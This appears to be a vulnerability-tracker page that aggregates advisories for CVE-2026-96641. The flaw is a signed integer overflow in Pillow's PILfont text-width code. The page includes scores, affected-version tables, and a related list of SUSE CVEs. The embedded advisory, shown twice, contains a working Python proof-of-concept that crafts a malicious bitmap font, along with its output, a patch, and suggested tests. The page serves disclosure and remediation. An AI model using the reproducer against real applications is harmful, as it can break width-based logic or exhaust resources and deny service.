CVE-2026-96641
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.5
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
CVE-2026-96641- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-190
- Updated
- 2026-11-02
EUVDEUVD-2026-107562
6.5
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
EUVD-2026-107562- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4rm8-3hmm-39fg
6.5
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Summary
Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx
Details
The code in Pillow 12.3.0 is:
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
Observations from a regular 12.3.0 release build:
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
At a minimum, four test cases should be added:
dx = 32767, repeat = 65538— upper adjacent control (should succeed);dx = 32767, repeat = 65539— should raiseOverflowError;dx = -32768, repeat = 65536— lower adjacent control (should…
- Record
GHSA-4rm8-3hmm-39fg- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-190
- Updated
- 2026-11-02
NVD
6.5
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
CVE-2026-96641- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-190
- Updated
- 2026-11-02
OSV
6.5
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
CVE-2026-96641- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-190
- Updated
- 2026-11-03
OSVDEBIAN-CVE-2026-96641
6.5
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
DEBIAN-CVE-2026-96641- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 9 moreShow less
OSVGHSA-4rm8-3hmm-39fg
6.5
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Summary
Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx
Details
The code in Pillow 12.3.0 is:
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
Observations from a regular 12.3.0 release build:
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
At a minimum, four test cases should be added:
dx = 32767, repeat = 65538— upper adjacent control (should succeed);dx = 32767, repeat = 65539— should raiseOverflowError;dx = -32768, repeat = 65536— lower adjacent control (should…
- Record
GHSA-4rm8-3hmm-39fg- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-190
- Updated
- 2026-11-02
OSVPYSEC-2026-4340
6.5
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
PYSEC-2026-4340- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-96641
6.5
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
UBUNTU-CVE-2026-96641- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-04
OSVBIT-pillow-2026-96641 No score
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
- Record
BIT-pillow-2026-96641- Updated
- 2026-11-02
OSVCLSA-2026-1793017750 No score
TuxCare security update for pillow (9 CVEs)
TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.3.0.post11+tuxcare.
- Record
CLSA-2026-1793017750- Updated
- 2026-11-02
OSVCLSA-2026-1793085879 No score
TuxCare security update for pillow (9 CVEs)
TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post13+tuxcare.
- Record
CLSA-2026-1793085879- Updated
- 2026-11-02
OSVCLSA-2026-1793099358 No score
TuxCare security update for pillow (8 CVEs)
TuxCare rebuilt pillow to address 8 CVEs. Fixed in 10.4.0.post15+tuxcare.
- Record
CLSA-2026-1793099358- Updated
- 2026-11-02
OSVCLSA-2026-1793346161 No score
TuxCare security update for pillow (7 CVEs)
TuxCare rebuilt pillow to address 7 CVEs. Fixed in 9.5.0.post13+tuxcare.
- Record
CLSA-2026-1793346161- Updated
- 2026-11-02
OSVSUSE-SU-2026:5038-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues:
- CVE-2026-96636: decompression-bomb protection bypass via multi-frame
seek()in MPO and DCX (bsc#1286802). - CVE-2026-96637: decompression bomb check bypass in
SpiderImagePlugin.seek()leads to unbounded allocation DoS (bsc#1286801). - CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
- CVE-2026-96642:
TarIOnegative size field causes infinite CPU-spin loop (bsc#1286796). - CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
- CVE-2026-112394:
P;2LandP;4Ldecoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311). - CVE-2026-112397: out-of-bounds access in
_imagingmorphon a zero-width image (bsc#1286314). - CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
- CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
- CVE-2026-112403: heap buffer overflow in
ImagingJpegDecodeallows for code execution (bsc#1286405). - CVE-2026-112405: NULL pointer dereference in
Image.mergevia an unvalidated band 0 (bsc#1286404). - CVE-2026-112406: infinite loop in
PdfParser.rewrite_pageson page treeParentcycle (bsc#1286403). - CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
- CVE-2026-112896: TIFF encoder
ColorMapplane-size mismatch causes a heap out-of-bounds read (bsc#1286400). - CVE-2026-112897:
TiffDecodereturns uninitialized memory as pixels for short JPEG strips (bsc#1286398). - CVE-2026-112899: EPS
load(scale)lets Ghostscript render past the decompression bomb limit (bsc#1286489). - CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
- CVE-2026-112901: ReDoS in
XbmImagePlugincan be triggered by 512-byte file (bsc#1286396). - CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
- Record
SUSE-SU-2026:5038-1- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pillowPyPI |
before 13.0.0 | 13.0.0 |
pillowBitnami |
before 13.0.0 | 13.0.0 |
pillowTuxCare:PyPI From an advisory covering 9 CVEs |
11.3.0 up to 11.3.0.post11+tuxcare, plus listed versions 11.3.0.post1+tuxcare11.3.0.post10+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare Show 5 moreShow less11.3.0.post5+tuxcare11.3.0.post6+tuxcare11.3.0.post7+tuxcare11.3.0.post8+tuxcare11.3.0.post9+tuxcare |
11.3.0.post11+tuxcare |
pillowTuxCare:PyPI From an advisory covering 9 CVEs |
11.2.1 up to 11.2.1.post13+tuxcare, plus listed versions 11.2.1.post1+tuxcare11.2.1.post10+tuxcare11.2.1.post11+tuxcare11.2.1.post12+tuxcare11.2.1.post2+tuxcare Show 7 moreShow less11.2.1.post3+tuxcare11.2.1.post4+tuxcare11.2.1.post5+tuxcare11.2.1.post6+tuxcare11.2.1.post7+tuxcare11.2.1.post8+tuxcare11.2.1.post9+tuxcare |
11.2.1.post13+tuxcare |
pillowTuxCare:PyPI From an advisory covering 8 CVEs |
10.4.0 up to 10.4.0.post15+tuxcare, plus listed versions 10.4.0.post1+tuxcare10.4.0.post10+tuxcare10.4.0.post11+tuxcare10.4.0.post12+tuxcare10.4.0.post13+tuxcare Show 9 moreShow less10.4.0.post14+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare10.4.0.post6+tuxcare10.4.0.post7+tuxcare10.4.0.post8+tuxcare10.4.0.post9+tuxcare |
10.4.0.post15+tuxcare |
pillowTuxCare:PyPI From an advisory covering 7 CVEs |
9.5.0 up to 9.5.0.post13+tuxcare, plus listed versions 9.5.0.post1+tuxcare9.5.0.post10+tuxcare9.5.0.post11+tuxcare9.5.0.post12+tuxcare9.5.0.post2+tuxcare Show 7 moreShow less9.5.0.post3+tuxcare9.5.0.post4+tuxcare9.5.0.post5+tuxcare9.5.0.post6+tuxcare9.5.0.post7+tuxcare9.5.0.post8+tuxcare9.5.0.post9+tuxcare |
9.5.0.post13+tuxcare |
pillowDebian:12 |
All versions, plus listed versions 10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2 Show 19 moreShow less10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1 |
None known |
pillowDebian:13 |
All versions, plus listed versions 11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4 Show 9 moreShow less11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 |
None known |
pillowDebian:14 |
All versions, plus listed versions 11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-1 Show 5 moreShow less12.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 |
None known |
pillowPyPI |
before 13.0.0, plus listed versions 1.01.11.21.31.4 Show 45 moreShow less1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.012.3.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.1 |
13.0.0 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-PillowSUSE:Linux Enterprise Module for Package Hub 15 SP7 From an advisory covering 29 CVEs |
before 7.2.0-150300.3.33.1 | 7.2.0-150300.3.33.1 |
pillowUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 2.2.1-1ubuntu22.2.1-2ubuntu12.2.1-3ubuntu22.2.1-3ubuntu32.2.1-3ubuntu4 Show 12 moreShow less2.2.1-3ubuntu62.3.0-1ubuntu12.3.0-1ubuntu22.3.0-1ubuntu32.3.0-1ubuntu3.22.3.0-1ubuntu3.32.3.0-1ubuntu3.42.3.0-1ubuntu3.4+esm12.3.0-1ubuntu3.4+esm22.3.0-1ubuntu3.4+esm32.3.0-1ubuntu3.4+esm42.3.0-1ubuntu3.4+esm5 |
None known |
pillowUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 2.9.0-13.0.0-13.0.0-1build13.1.0-13.1.1-1 Show 9 moreShow less3.1.2-0ubuntu13.1.2-0ubuntu1.13.1.2-0ubuntu1.33.1.2-0ubuntu1.43.1.2-0ubuntu1.53.1.2-0ubuntu1.63.1.2-0ubuntu1.6+esm13.1.2-0ubuntu1.6+esm23.1.2-0ubuntu1.6+esm3 |
None known |
pillowUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 4.1.1-3build24.3.0-2ubuntu15.0.0-15.1.0-15.1.0-1ubuntu0.2 Show 8 moreShow less5.1.0-1ubuntu0.35.1.0-1ubuntu0.45.1.0-1ubuntu0.55.1.0-1ubuntu0.65.1.0-1ubuntu0.75.1.0-1ubuntu0.85.1.0-1ubuntu0.8+esm15.1.0-1ubuntu0.8+esm2 |
None known |
pillowUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1 Show 10 moreShow less7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.97.0.0-4ubuntu0.9+esm1 |
None known |
pillow-python2Ubuntu:Pro:20.04:LTS |
All versions, plus listed versions 6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2 |
None known |
pillowUbuntu:22.04:LTS |
All versions, plus listed versions 8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1 Show 5 moreShow less9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.59.0.1-1ubuntu0.6 |
None known |
pillowUbuntu:24.04:LTS |
All versions, plus listed versions 10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.310.2.0-1ubuntu1.4 |
None known |
pillowUbuntu:26.10 |
All versions, plus listed versions 12.1.1-2ubuntu112.3.0-1ubuntu1 |
None known |
pillowUbuntu:26.04:LTS |
All versions, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu1 Show 4 moreShow less12.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.312.1.1-2ubuntu1.4 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, facts | OSV | |
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-96641 is a medium vulnerability (CVSS 6.5) in Python Pillow, published October 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 28th percentile. Fixed in pillow 13.0.0.
References
github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg
github.com/python-pillow/Pillow/pull/10010
github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4
github.com/python-pillow/Pillow/releases/tag/13.0.0
nvd.nist.gov/vuln/detail/CVE-2026-96641
github.com/advisories/GHSA-4rm8-3hmm-39fg
Show 64 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96641.json
security-tracker.debian.org/tracker/CVE-2026-96641
github.com/python-pillow/Pillow
suse.com/support/update/announcement/2026/suse-su-20265038-1
bugzilla.suse.com/1286256
bugzilla.suse.com/1286273
bugzilla.suse.com/1286287
bugzilla.suse.com/1286311
bugzilla.suse.com/1286314
bugzilla.suse.com/1286325
bugzilla.suse.com/1286368
bugzilla.suse.com/1286370
bugzilla.suse.com/1286372
bugzilla.suse.com/1286381
bugzilla.suse.com/1286396
bugzilla.suse.com/1286397
bugzilla.suse.com/1286398
bugzilla.suse.com/1286400
bugzilla.suse.com/1286401
bugzilla.suse.com/1286402
bugzilla.suse.com/1286403
bugzilla.suse.com/1286404
bugzilla.suse.com/1286405
bugzilla.suse.com/1286406
bugzilla.suse.com/1286408
bugzilla.suse.com/1286411
bugzilla.suse.com/1286489
bugzilla.suse.com/1286796
bugzilla.suse.com/1286797
bugzilla.suse.com/1286798
bugzilla.suse.com/1286801
bugzilla.suse.com/1286802
bugzilla.suse.com/1286804
suse.com/security/cve/CVE-2026-112390
suse.com/security/cve/CVE-2026-112391
suse.com/security/cve/CVE-2026-112392
suse.com/security/cve/CVE-2026-112393
suse.com/security/cve/CVE-2026-112394
suse.com/security/cve/CVE-2026-112397
suse.com/security/cve/CVE-2026-112398
suse.com/security/cve/CVE-2026-112399
suse.com/security/cve/CVE-2026-112400
suse.com/security/cve/CVE-2026-112401
suse.com/security/cve/CVE-2026-112402
suse.com/security/cve/CVE-2026-112403
suse.com/security/cve/CVE-2026-112405
suse.com/security/cve/CVE-2026-112406
suse.com/security/cve/CVE-2026-112891
suse.com/security/cve/CVE-2026-112892
suse.com/security/cve/CVE-2026-112894
suse.com/security/cve/CVE-2026-112895
suse.com/security/cve/CVE-2026-112896
suse.com/security/cve/CVE-2026-112897
suse.com/security/cve/CVE-2026-112899
suse.com/security/cve/CVE-2026-112900
suse.com/security/cve/CVE-2026-112901
suse.com/security/cve/CVE-2026-112902
suse.com/security/cve/CVE-2026-96636
suse.com/security/cve/CVE-2026-96637
suse.com/security/cve/CVE-2026-96640
suse.com/security/cve/CVE-2026-96641
suse.com/security/cve/CVE-2026-96642
ubuntu.com/security/CVE-2026-96641
cve.org/CVERecord?id=CVE-2026-96641
Left out here: 57 versions and the rest of 2 source descriptions. The JSON record has them.